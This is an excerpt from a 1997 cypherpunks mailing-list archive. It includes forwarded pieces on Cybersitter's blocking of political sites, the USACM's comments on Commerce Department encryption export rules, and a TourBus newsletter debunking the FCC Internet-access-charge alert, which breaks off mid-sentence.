Afterword section of http://netlynews.com/ --

            "As the Supreme Court prepares to hear oral arguments
             next month in the Communications Decency Act case,
             morality crusaders in Congress are launching a renewed
             defense of the law..."

-Declan


-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 15:43:04 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fuck UseNet
Message-ID: <199702142343.PAA17508@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>   So, basically, you're saying that the flight from censorship should
> be toward a new CypherPunk 'home' where one is effectively censored
> automatically unless one kisses the ass of a Cabal?

Absolutely, It is really, as far as I see it anyway, just a stop-gap 
measure. The caballers haven`t got enough room to do their censorship 
on the 18000 or so big 7 groups so they decide to fuck up the alt. 
heirachy as well ;-)

Hopefully Igor and co.`s network of Majordomo's should be fully 
operational soon (as I understand it two are up and a third is on 
it's way) then we can move back there. Might even get it finished 
before the 20th?????

 
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Sat, 15 Feb 1997 00:26:06 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Procmail during the transition, anyone?
Message-ID: <199702150826.AAA07200@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com writes:
 > subs-cri-be to the unedited list.

Nope.  I get duplicates with new ID's here, and I have duplicate ID
removing recipe enabled.  

I am subscribed to the list as cyberpass.net now, and not on toad
anymore, al least I shouldn't be.

Should be resolved by the 20th ;).

me
-- 
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:" to get my public key |   _London_Calling_ , 1980
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 14 Feb 1997 17:12:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Cybersitter
Message-ID: <199702150112.RAA20370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 05:21:41.54
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Cybersitter

[Forwarded with permission.]

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Date: Thu, 30 Jan 97 08:23:58 -0500 (EST)
From: kkc@COMPETITOR.NET(K.K. Campbell)
Subject: Cybersitter & Wallace

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                    WHO'S WATCHING THE 'WATCHERS'?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                                  by
                             K.K. CAMPBELL

                              Net.column
                           The Toronto Star
                      Thursday, January 30, 1997


One of the most controversial aspects of cyberspace is censorship. A
widely accepted solution to eliminating the "unwanted" is self-imposed
censorship, through special software which blocks out types of content
not desired.

The appeal of these programs is that people needn't rely on distant
authority to dictate acceptability. We police ourselves; or at least we
have some control over how we will be policed.

The news media have generally blessed "blocking software" with
unexamined sprinklings of warm praise. After all, who dares suggest
that stopping your 5-year-old from seeing graphic gore, violence or sex
is bad? What could go wrong with that?

But, now critics are starting to ask, who is "watching the watchers?"
Could these watchers themselves develop more "creative applications"
for their power to silence? Could they apply their own personal
prejudices, or even their own hidden agendas?

Or is that paranoid nonsense?

Ask U.S. author Jonathan Wallace (jw@bway.net). Wallace says
California's Solid Oak software, which produces Cybersitter blocking
software, has added his site to its "block list" in retaliation for
critical remarks he made about the company.

Solid Oak claims 900,000 registered Cybersitter users.

Wallace, a New York-based software business executive and attorney is
co-author of the book _Sex, Laws and Cyberspace_ (Henry Holt, $34.95).
Net.column will discuss the book with its author next installment.

He's also editor of the monthly Webzine _The Ethical Spectacle_, which
focuses on "the intersection of ethics, law and politics in our
society."

The Webzine recently asked readers to not purchase Cybersitter because
of continuing reports of Solid Oak's "unethical behavior."

"In the book," Wallace says in a press release explaining his current
attitude to Cybersitter, "we took the position -- naively, I now think
-- that use of blocking software by parents was a less restrictive
alternative to government censorship. We never expected that publishers
of blocking software would block sites for their political content
alone, as Solid Oak has done."

Solid Oak unequivocably denies there is a political agenda of any kind
et work.

"Absolutely, 100 per cent not," Marc Kanter told the Toronto Star in a
phone interview. Kanter is Solid Oak's vice president of marketing.
"There is no hidden political agenda."

Kanter says someone criticizing Cybersitter would not be blocked. He
says Wallace's site is blocked because it "links information on how to
hack Cybersitter. We do not allow our customers to have hacking
information for the program."

Wallace told The Star that's not true. "There's no such information on
my site, nor is there on Peacefire's. I link to some pages maintained
by Glen Roberts, who -- along with some political commentary on
Cybersitter, and analysis of its blocking policy -- offers a (legal)
work-around. However, since his site is separately blocked by
Cybersitter, there is no reason for them to block my site as well."

Kanter dismisses Wallace's complaints. "The guy didn't do any
homework," Kanter says. "There are a few people who are right-wing
activists who are out there that are trying to defame the filtering
program. This is what leads to stories like you are doing -- and
hopefully you are not supportive of their actions."

Wallace didn't know what to make of that. "I've been called a
communist, a socialist, and a wild-eyed civil libertarian, but no one
has ever called me right wing before," he says. "Kanter has obviously
never read _The Ethical Spectacle_."

While Cybersitter, with fanfare, claims its mission is to block Web
sites containing pornography, obscenity, gratuitous violence, hate
speech, criminal activity, etc., an increasing number of investigative
Net.journalists also claim Cybersitter, without fanfare, blocks access
to Web sites based on political criteria.

                          FOR OUR OWN GOOD

This brouhaha began last summer when CyberWire Dispatch revealed
Cybersitter blocks sites based on political agenda, such as the
feminist National Organization for Women (www.now.org).

Dispatch journalist/editor Brock Meeks asked Solid Oak CEO Brian
Milburn (bmilburn@solidoak.com) about that.

"Milburn isn't shy about it," Meeks reported. "He was outright
indignant when he originally told Dispatch: 'If NOW doesn't like it,
tough'."

Solid Oak threatened to sue Dispatch for its article, but things
quieted down.

In December, the issue erupted again when 18-yearold Bennett Haselton
(bennett@peacefire.org) wrote an article about the company's selection
of blocked sites: "Cybersitter: Where Do We Not Want You To Go Today?"
(www.peacefire.org/censorware/CYBERsitter.html).

Haselton takes computer science and math at Vanderbilt University.
"Peacefire" is his own creation, a teen cyberrights group, average age
15.

According to various Net.journalists, Solid Oak now threatened Bennett
with a lawsuit and even tried to get the Peacefire site booted from its
host system (media3.net) by telling Media3 that Haselton was making it
"his mission in life to defame our product" by "routinely" publishing
names of sites blocked by Cybersitter.

(It should be noted it's easy to figure out which sites are blocked,
the software provides an output list. Try "playboy.com" -- blocked. Try
"whitehouse.com" -- okay. Try "peacefire.org" -- blocked. Try "now.org"
-- blocked.)

Unsuccessful in his pressure against Media3, Milburn instead included
the peacefire.org domain in Cybersitter's block list.

On Dec. 9, HotWired picked the story up
(www.wired.com/news/story/901.html). NetAction Notes
(www.netaction.org) quickly followed suit. Haselton told his story to
the Electronic Frontier Foundation and the EFF assured him it would
represent him, should Solid Oak deliver on its threat to sue.

On Dec. 20, The Netly News (http://netlynews.com) continued the
investigation of Cybersitter. Aside from the irony of Cybersitter
censoring the newsgroup alt.censorship, it "blocks dozens of ISPs and
university sites such as well .com, zoom.com, anon.penet.fi, best.com,
webpower.com, ftp.std.com, cts.com, gwis2.seas.gwu.edu, hss.cmu.edu,
c2.org, echonyc.com and accounting.com. Now, sadly, some libraries are
using it."

                       BLACK LIST TO BLOCK LIST

Wallace read the reports of legal threats against the teenager and
thought "Milburn was acting like the proverbial 800-pound gorilla."

So Wallace added a link on _The Spectacle_'s homepage called "Don't Buy
Cybersitter."

"I wrote the company," he says, "informing them of my actions and
telling them that they misrepresent their product when they claim it
blocks only indecent material, hate speech and the like."

Wallace says Solid Oak responded by adding his Webzine to its block
list. Learning of this, Wallace wrote Milburn and Solid Oak tech
support.

"I pointed out that _The Spectacle_ does not fit any of their published
criteria for blocking a site," he says. "I received mail in return
demanding that I cease writing to them and calling my mail 'harassment'
-- with a copy to the postmaster at my ISP."

Kanter acknowledges this. "He spoke to us more than once or twice -- he
continued to send mail -- mail like that is considered 'not wanted' and
is automatically sent back."

By the end of our phone conversation, Kanter had dropped the
"right-wing activist" explanation of who was behind the Cybersitter
complaints and offered a new one:

"Some of this rhetoric was started by someone we believe to be a highly
-- how do you put it? -- a highly homosexual individual, who did not
believe we should have the right to block any sites or links to
alternative lifestyles. That's how a lot of this got started."

Why is the National Organization for Women site blocked?

"Very simple. It contains links to gay and lesbian hardcore material. I
was on their page this morning, and there is a lot of offensive
material linked directly. Just go to their links page and start looking
at 'gay' and 'feminism.' Our parents don't want that kind of stuff."

I asked if he really meant "hardcore" -- suggestive of full-penetration
images/stories.

"Yes, by links through links," he clarifies. If someone followed the
links starting at now.org, they'd eventually find hardcore sexual
material.

Kanter says parents are not permitted to know which sites Cybersitter
blocks.

"That list is not given to anybody under any circumstances -- including
law enforcement agencies that have requested it." He says it's to
prevent the list from "getting into the wrong hands."

It would be a cybermap to naughtiness for some kids. And parents aren't
allowed to remove blocked sites from Cybersitter, although they can add
to the list.

Cyber-rights activists claim the incident underscores warnings they've
issued for years: While censorship software may first aim to protect
children against "pornography," it can quickly be adopted for political
agendas.

_The Ethical Spectacle_ is at www.spectacle.org. Solid Oak's Web site
can be found at www.solidoak.com.

-30-

Copyright 1997 K.K. Campbell






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 14 Feb 1997 17:12:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: USACM analysis of Commerce Dept crypto export proposals
Message-ID: <199702150112.RAA20371@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 08:14:58.81
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	USACM analysis of Commerce Dept crypto export proposals

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Send any replies to the original author, listed in the From: field below.
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Date: Thu, 13 Feb 1997 22:15:40 -0500
From: Lauren Amy Gelman <gelmanl@GWIS2.CIRC.GWU.EDU>

[...]


February 12, 1997


Nancy Crowe
Regulatory Policy Division
Bureau of Export Administration
Department of Commerce
Room 2705
14th Street and Pennsylvania Ave., N.W.
Washington, D.C. 20230.

Docket No. 960918265-6366-03

Dear Ms. Crowe

        The United States Public Policy Committee for the Association for
Computing (USACM) welcomes this opportunity to submit our views on the
Interim Rule issued by the Department of Commerce with regard to
"Encryption Items Transferred From the United States Munitions List to the
Commerce Control List."  The USACM believes it is in the best interest of
the U.S. government to promote the widespread use of strong encryption.
>From our perspective the Interim Rule fails to recognize the legitimate
needs and interests of academic, professional, scientific, and ordinary
users of telecommunications technology.  Thus, the Interim Rule must be
modified before it can resolve the many problems with the current export
controls on encryption technologies.

Introduction and Summary

        The Association for Computing is an international professional
society whose 76,000 members (60,000 in the U.S.) represent a critical
mass of computer scientists in education, industry, and government.  The
USACM provides a means for promoting dialogue on technology policy issues
with United States policy makers and the general public. We have
identified a number of serious problems with specific provisions of the
Interim Rule.

        As a professional society of computer scientists which produces a
number of peer-reviewed technical journals, we are concerned that the
Interim Rule will hamper both communication and education in our field.
Part 7.34.3 (b)(3) which refers to the distinction between printed and
electronic publications of cryptographic materials is unworkable under the
new paradigms of electronic publishing and communications. Electronic
media, including the World Wide Web, listserves, Usenet news groups, and
video conferencing are becoming the prominent means by which scientists
communicate.  Provisions of the Rule, specifically Parts 7.34.9 and 744.9,
which affect teaching cryptography to foreign students are vague and
contradictory.  Educational environments are not limited to academic
institutions but also occur in national and industry labs and by distance
education.  Restrictions on cryptography exports must not interfere with
the traditional freedom of access over digital networks which is
indispensable to maintain motivated and effective academic and research
communities.

        We also believe that the development of public policies and
technical standards for communications technologies, such as a Key
Recovery Infrastructure (KRI), raise vital issues of privacy,
competitiveness, and scientific innovation.  Parts 740.8 and 742.15 raise
a number of troubling issues for the computing community.  We believe it
is unwise for the Commerce Department to link relaxing export controls on
56-bit encryption to the development of a KRI as both the desirability and
the feasibility of such a system remains uncertain. Key recovery products
have not yet been subject to the vigorous testing necessary for a proposed
standard and there is little understanding of how such a system would
operate and what controls would be needed to ensure that it remained
secure.  Also, Supplement No. 7 to part 742 (which requires that
businesses who wish to export 56-bit encryption before 1998 submit a
biannual business plan for developing key recovery products) will stifle
the innovation of new cryptography technologies and discourage the process
of scientific innovation.  We believe the Commerce Department should not
promulgate regulations which prohibit U.S. research and development from
responding to market demands and limit the ability of Americans using new
on-line services to protect their privacy.

Analysis

        The USACM has identified electronic publication, education,
research and development, key recovery, and privacy as problematic areas
which need addressing.  We have outlined our concerns below:

Electronic Publishing

        It is unreasonable and unconstitutional to distinguish between
printed and electronic distribution of encryption source code as set forth
in the note to Part 7.34.3 (b)(2) and (b)(3).  A Federal Court in
California has ruled in Bernstein v. U.S. Department of State that source
code is speech and is thus protected under the first amendment.  This
distinction is also currently being challenged in a federal court in the
District of Columbia in Karn v. U.S. Department of State.  The USACM
joined the Electronic Privacy Information Center, the American Civil
Liberties Union, and the Internet Society in submitting an Amici Curiae
brief in the case which argued that such language is an impermissible
regulation aimed at the suppression of expression. As computer scientists
we see no practical reason why the Commerce Department should insist on
creating a distinction when one does not exist.

        The ACM is the publisher of numerous scientific publications and
conference proceedings.  They range from our flagship journal
Communications of the ACM (CACM) to the on-line, peer-reviewed journal
Experimental Algorithms.  All 76,000 members of ACM, including 15,000
members overseas, receive CACM by mail and have access to ACM's on-line
publications. ACM foresees a time when all its publishing will be
electronic and on-line.  At that time, it will need interoperable
encryption technology available in the U.S. and in its mirror sites abroad
to dispense its material.  Its subscribers worldwide will need access to
secure, commercial encryption as well.

        An article which described the development of a new cryptographic
algorithm would likely appear in one of the many technical journals or
conference proceedings published by ACM or the Institute for Electronics
and Electrical Engineers (IEEE), another international professional
society.  In fact a number of the groundbreaking articles in the field of
cryptography science were originally published by ACM and IEEE.
Publication of encryption algorithms is extremely important to the field
of cryptography.  In order for an algorithm to be trusted, it must be
challenged.  To do that, the code must be made widely available.  Foreign
members of ACM will be unable to access in electronic format the same
articles they currently receive in the printed journal.  And, it is
technically impossible, at this late date, to partition ACM's publications
into distinct paper and electronic (hence encryptable) media.

        Electronic communications, including the World Wide Web, list
serves, Usenet news groups, and video conferencing are becoming the
prominent means by which scientists communicate.  Science is a global
pursuit and there exists a open communications network between scientists
in different countries.  Part 734.2 which prohibits making cryptographic
software available outside the U.S. will not only eliminate this
international communication but also technical communication among U.S.
scientists.  In electronic communications it is not always clear to whom
the information is being transmitted.  WWW sites and Usenet news groups
are accessible by anyone with a modem.  Video conferences can be
retransmitted overseas and moderated listserves are difficult to control.
The Interim Rule refers to an individual taking "precautions adequate to
prevent unauthorized transfer of such code outside the U.S."  It is our
belief that it would be impossible to be certain of any precautions taken.
This will effectively eliminate all communications on electronic media
that describe or discuss cryptographic source code.

        We believe the interim rule must be revised to eliminate the
distinction between printed and electronic source code and to allow for
open communications within scientific communities.  Restricting these
communications will retard the evolution of the science and the
development of new algorithms and cryptographic devices.

Education

        Many ACM members are computer science professors and teachers, so
we are concerned about the contradictions in the proposed regulations with
regards to education.  A number of fields and sub-fields address
cryptography as part of their curricula.  Part 734.9 states that
"Educational Information" is not subject to the new regulations if it is
"released by instruction in catalog courses and associated teaching
laboratories of academic institutions." Computer science, mathematics,
engineering, and electronic security may all include technical instruction
in encryption technologies and would be covered in U.S. university
classrooms.  However, questions arise with regard to distance and home or
overseas education because of Part 744.9.  It states that "No U.S. person
may, without a license from BXA, provide technical assistance (including
training) to foreign persons with the intent to aid a foreign person in
the development or manufacture outside the United States..."  While Part
744.9 defines a U.S. person it does not define "technical assistance" or
"training."  It is uncertain whether a U.S. professor teaching a course in
which foreign students are registered, or teaching a course in
cryptography overseas would be "training" a foreigner to develop a
cryptographic device if the course work was more detailed than "a
discussion of information about cryptography."  This would affect course
studies as disparate as 'number theory' and 'local area networks'.

        Also, educational environments are not limited to academic
institutions but are also found in national and industry labs.  Many
computer scientists receive their first hands on training after they
graduate from their University.  It is unclear whether this "training" or
"technical assistance" is in violation of the Interim Rule.  The intent of
the training is give the new employee the practical tools necessary to
participate in the field of cryptography science, and is not necessarily
intended to be project or employer specific.  While the General
prohibition in Part 744.9 discusses the meaning of intent as applied to an
academic setting, it is not clear if "academic setting" can be applied to
instruction which occurs outside of the University environment.

        The argument made previously with regard to digital media also
applies to education. As part of their course work, students often use
electronic media as resources (WWW, digital libraries, CD-ROMs), as a
communication device for the class outside the classroom (electronic mail,
listserves), and to learn from listening to the discussions among research
scientists (Usenet groups, listserves).  Part 7.34.3 (b)(3) which covers
encryption source code in electronic form or media will restrict these
types of educational instruction.  Instructors will be unable to take
advantage of digital media in their courses.  Students studying
cryptography will be unfairly disadvantaged as they will be unable to
access valuable resources even in the process of furthering their
education.

        The USACM believes the contradictions in Parts 7.34 and 744.9 must
be resolved in a clear manner so educators are not required to reduce the
quality of their courses for fear of misinterpreting the Interim Rule.
Specifically, "academic setting," "training," and "technical assistance"
must be defined, and distance education, and academic research and
communication must be addressed.

Research and Development

        Encryption policies must reflect the needs of the global market.
The international demand for products which incorporate strong
cryptographic tools is growing. Such products are widely available and
produced by a number of nations.  U.S. scientists have been prominent in
the development of current encryption technologies.  The field has
developed though research and development efforts along many different
tangents, only one of which describes key recovery products.  There is
little evidence that the demand for cryptography tools is limited to those
products which incorporate key recovery protocols. Part 742.15 (which
states that businesses must submit a business plan for the development of
key recovery products before they may export 56- bit software;  the
license must be renewed biannually until 1998 when only key recovery
products will be allowed for export)  will restrict the U.S. to producing
only products which incorporate KRI protocols.

        Mandating that businesses develop key recovery products will also
impede the natural market development of novel and innovative systems.
Part 740 hypothesizes that a worldwide KRI will be desirable, feasible,
and in place by 1998.  However it is unclear whether key recovery is the
best alternative.  Research along new tangents will continue in non-
industry and non-U.S. settings.  A new protocol may be discovered which is
considered a better choice for a worldwide infrastructure.  There will
exist a great market demand for variety in choosing a security system to
fit the needs of the distinct commercial group.  If this happens U.S.
scientists and industry will be at a disadvantage as they will have only a
core competence in key recovery protocols as per Part 740.8.

        There are a variety of commercial groups interested in utilizing
the Internet for business interactions and transactions. Without
interoperable encryption programs, commercial needs in an increasing
global environment cannot be met.  Supplement No. 4 to Part 742 states
that a product can not interact with another product whose key recovery
system has been "altered, bypassed, disabled, or otherwise rendered
inoperative."  This will be a major source of problems for researchers and
educators, as well as government and commercial institutions.  The result
of a system not being able to talk to another system because of an
intentional or accidental disabling of the KRI protocols can have a very
large impact on telemedicine, research, government operations, and
commercial enterprises.

        The USACM believes the Interim Rule should be rewritten to avoid
dissuading innovation and development and eliminating the U.S.'s core
competency in cryptography.  It should also recognize the need for
consistency in interoperable systems.

Key Recovery

        The USACM recognizes that there is a real market demand for key
recovery products from business and government employers.  However, the
viability of a KRI has not yet been determined.  It has not yet been
subject to the vigorous testing necessary for a proposed standard.  There
is little understanding of how such a system would operate and what
controls would be needed to ensure that it remained secure.  Part 740
describes the development of a Key Recovery Infrastructure within two
years.  We believe it is unwise for the United States to insist on the
development of a untested, unproved technology for a worldwide
infrastructure. The National Research Council report stated that a
feasibility study needed to be performed on a smaller scale before key
escrow could be seriously proposed for commercial applications.  We
believe this warning applies to KRI as well.  While key recovery tools may
be appropriate in some settings, we believe it would be wrong to impose
such restrictions on users or businesses and the Interim Rule should not
dictate that businesses limit their research to a potentially unworkable
system.

Privacy

       The USACM believes that certain principles should be reflected in a
national cryptography policy.  Encryption should be used for privacy
protection and to encourage the development of technologies and
institutional practices which will provide real privacy for the future
users of the NII and real security for the protection of the system. The
USACM believes that transferring the regulation of cryptography to the
Commerce Department could establish United States leadership in protecting
the privacy rights of its citizens.  However the Interim Rule fails to do
that.

Conclusion

       We recognize that the government has a legitimate interest in
protecting national security. However, whether or not the worldwide
infrastructure is achieved, the role of national security agencies will
remain difficult.  The government's proposal to balance national security,
business, and privacy interests by creating a Key Recovery Infrastructure
within the next two years is overly aggressive.  We suggest that the
development of a policy that serves the long term interests of our
nation's security will not be one based on a Key Recovery Infrastructure,
but rather one that anticipates the widespread availability of strong
encryption and the multifaceted demands of a global economy.  Toward that
end, the interests in protecting open research within the U.S. academic
community will be crucial.

Sincerely,




Barbara Simons, Ph.D
Chair, United States Public Policy Office for the
Association for Computing

        The ACM, founded in 1947, is an international non-profit
educational and scientific society dedicated to the development and use of
information technology, and to addressing the impact information
technology has on the world's major social challenges. The Association's
activities include the publication of scholarly journals and the
sponsorship of special interest groups (SIGS) in numerous disciplines. ACM
has 76,000 members.  The 60,000 who reside in the United States are
academic, professional, scientific, and ordinary users of
telecommunications technology and have a strong interest in the
development of sound encryption policies. The USACM provides a means for
promoting dialogue on technology policy issues with United States policy
makers and the general public. We respond to requests for information and
technical expertise from United States government agencies and
departments, seeks to influence relevant United States government policies
on behalf of the computing community and the public, and provides
information to the ACM on relevant United States government activities.



----------------------------------------------------------------------------
----------------------------------------------------------------------------
Lauren Amy Gelman                               gelmanl@gwis2.circ.gwu.edu
George Washington University                    gelman@epic.org
Science, Technology, and Public Policy Program  gelman@acm.org






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 14 Feb 1997 17:11:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Fear and Loathing at the FCC
Message-ID: <199702150111.RAA20359@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 14-FEB-1997 07:16:51.99
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Fear and Loathing at the FCC

[Forwarded with permission.  This is the closest thing I've found to real
research on the FCC-access-charges-for-ISP's action alert you have no doubt
seen recently.  Right or wrong, this was an incredibly badly designed alert.
Please let me recommend that you *never* forward any kind of alert message
unless it is signed, includes detailed background information or at least
a URL that points to background information, and includes a time-out date. 
For more information on the proper construction of Internet action alerts,
see  http://communication.ucsd.edu/pagre/tno/january-1994.html#action ]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Thu, 13 Feb 1997 20:18:54 -0600
From: Patrick Douglas Crispen <crispen@campus.mci.net>
Subject: TOURBUS -- 13 FEBRUARY 1997 -- EDUPAGE / FEAR AND LOATHING AT THE FCC

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 ~~~/~~~\~~/~~~\~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/~~~\~~~~~
    \___/  \___/   T h e   I n t e r n e t   T o u r B u s   \___/

TODAY'S STOP: EDUPAGE / FEAR AND LOATHING AT THE FCC
TODAY'S ADDRESSES:
     http://www.worldvillage.com/wv/hotel/tourbus/archives.htm
     http://www.educom.edu/web/edupage.html
     http://www.eff.org/papers/eegtti/eeg_83.html#SEC84
     http://www.fcc.gov/isp.html

Hi, kids!

Put your seat belts on, because our latest adventure is about to get under
way!  Before we pull out of the terminal, though, can I interest anyone in
a magazine or two?  :)

+--- HUGE TOURBUS SAVINGS ON THE HOTTEST MAGAZINE SUBSCRIPTIONS! ----+
 Time, Newsweek, Money, PC Magazine, ZD Internet, Net, Yahoo, and tons
   more!  Plus, pick from 50 FREE subscriptions.  Send email now to:
+-------------------- ( tourbus@magazines.com ) ---------------------+

By the way, I have a sinking feeling that a few of you may want to forward
part of today's post to some of your friends.  I would be happy if you did
this -- just make sure that you give credit where credit is due.  :)

EDUPAGE
-------

I think I am losing my mind.  I distinctly remember pulling our little bus
of Internet happiness into Edupage before, but for the life of me I can't
find a copy of that post anywhere in the TOURBUS archives (which, by the
way, can be found on the World Wide Web at
http://www.worldvillage.com/wv/hotel/tourbus/archives.htm).

Anyway, Edupage is an absolutely wonderful, free, e-mail-based "summary of
news items on information technology, and is provided three times each week
as a service by Educom -- a consortium of leading colleges and universities
seeking to transform education through the use of information technology."

Edupage is actually a misnomer, because Edupage doesn't really talk about
education.  Rather, Edupage send you one paragraph summaries of technology
stories printed in leading newspapers and magazines (like Business Week,
Information Week, Forbes, etc.).  Each issue of Edupage usually contains
between 6 and 10 of these summaries.

If you want to subscribe to Edupage (remember, it's FREE), just send an
e-mail letter to

     LISTPROC@EDUCOM.UNC.EDU

with the command

     SUBSCRIBE EDUPAGE YOURFIRSTNAME YOURLASTNAME

in the body of your e-mail letter, replacing YOURFIRSTNAME and YOURLASTNAME
with your first and last names.

You can also find Edupage on the Web at

     http://www.educom.edu/web/edupage.html

Edupage is clearly one of my favorite resources on the Net.  It provides
cutting-edge technology information in a size that is easy to digest, and
as a professional college student I *often* find myself quoting and
applying the information that I have found in Edupage.


FEAR AND LOATHING AT THE FCC
----------------------------

Over the past couple of weeks, you may have received e-mail letters telling
you that

     Many local telephone companies have filed a proposal with the FCC
     [The United States' Federal Communications Commission] to impose
     per minute charges for Internet service.  They contend that use
     of Internet has or will hinder the operation of the telephone
     network.

At first, I thought that this was simply a new version of the old "modem
tax" hoax (http://www.eff.org/papers/eegtti/eeg_83.html#SEC84) that has
been floating around the Net since *1987*.   After all, the current FCC
story has all of the markings of a classic urban legend:

     1. It uses official-looking language;

     2. It mentions a government agency or an organization with
        which everyone is familiar;

     3. It contains a plea for you to take some sort of immediate
        action; and

     4. It requests that you forward the warning letter to as many
        people as possible.

Besides, according to an article that appeared in this morning's Edupage,

     ONLINE COMPANIES ASK TELCOS, "WHERE'S THE BEEF?"
     Tired of telephone companies' complaints that Internet usage is
     overwhelming their network capacity, the Internet Access
     Coalition has released findings contending that Net usage is, in
     reality, a bonanza for the Bells.  The study found that local
     carriers received a total of $1.4 billion in 1995 in revenues
     resulting from the installation of second lines in homes, while
     spending only $245 million to beef up their networks for the
     additional usage.  A Bell Atlantic spokesman says the real
     problem is that the telcos have no idea when a line will be used
     for data rather than voice, and thus tied up longer.  Both sides
     agree that the ultimate solution is higher capacity networks.
     (Business Week 17 Feb 97)

Well, out of curiosity -- and out of a deep-felt desire to avoid studying
for the two major economics tests that I have next week -- your fearless
bus driver decided to call the FCC in Washington to see if anyone there was
willing to talk about this rather explosive issue.  Unfortunately, I soon
discovered that the FCC only has one employee, she is a secretary, and her
job is to transfer all incoming telephone calls into voice mail hell.  :)

Actually, I talked to some nice people at the FCC who faxed me a 10 page
explanation of what's *really* going on.  Unfortunately, the 10 page
explanation was written in "FCC-ese," so I am going to have to translate
their explanation into English for you (and I can assure you that, since I
know *NOTHING* about telephony, my translation will probably contain a few
inaccuracies;  if it does, please let me know).

First, some local telephone companies have indeed asked the FCC to allow
them to assess a per minute access charge on the telephone lines used by
Internet Service Providers.  Local telephone companies currently charge
long-distance carriers (like AT&T and MCI) an interstate access charge for
the long-distance traffic that travels over their local lines, and the
local telephone companies would like to see this charge extended to include
the high-speed lines that your local Internet Service Provider uses to
access the Internet.

In December, the FCC rejected the telephone companies' request and
tentatively concluded "that the existing pricing structure for information
services should remain in place."  In other words, the FCC has tentatively
concluded that Internet service providers should *NOT* be subject to the
interstate access charges that local telephone companies currently assess
on long-distance carriers.

The FCC now seeks the public's comments on this conclusion.

Unfortunately, the "warning" letter that is currently circulating around
the Internet gives the impression that some sort of sinister operation is
afoot here, that the FCC and the telephone companies are trying to sneak
this proposal through without anyone noticing, and that it is up to each
and every one of us to stop the evil FCC.

What garbage.  In fact, the FCC has, at least tentatively, REJECTED the
telephone companies' proposal.  The FCC is now simply asking you if you
agree or disagree with their decision.

The most disappointing aspect of this whole situation is that because of
the misinformation that has been distributed across the Internet over the
past couple of weeks, the FCC has received 100,000+ e-mail letters, most of
which flame them for making a decision that EVERYONE AGREES WITH!  Hands
down, the flaming of the FCC is one of the Internet's most shameful acts
ever.

I also discovered another thing about the FCC that increased my respect for
their organization one-hundred-fold.  Part of the 10 page explanation that
the FCC sent me states that their "existing rules have been designed for
traditional circuit-switched voice networks, and thus may hinder the
development of emerging packet-switched data networks."  Because of this,
the FCC is also seeking the public's comments on the implications of the
Internet and its usage through the public switched telephone network.

Folks, *ANY* government agency that stops and says 'hey, we can ALWAYS use
some more information so that we are better prepared for whatever happens
in the future' has earned my respect and admiration.

By the way, most of the information that I have shared with you today can
be found on the FCC's "ISP" homepage at

     http://www.fcc.gov/isp.html

If you would like to send your comments to the folks at the FCC (the
deadline for comments about their decision not to impose interstate access
changes on Internet service providers is Friday, February 14th), make sure
that you check the FCC's ISP Web page first.  At the bottom of this page
are some pretty specific instructions on what you need to put in the
subject line of you e-mail letter before you submit it to the FCC.

Personally, I'm going to leave the poor folks at the FCC alone for a while.
They seem to be doing a great job in the face of unnecessary (and
misinformed) opposition.

TODAY'S ADDRESSES
-----------------
http://www.worldvillage.com/wv/hotel/tourbus/archives.htm
http://www.educom.edu/web/edupage.html
http://www.eff.org/papers/eegtti/eeg_83.html#SEC84
http://www.fcc.gov/isp.html

That's it for this week.  Have a safe and happy weekend, and make sure that
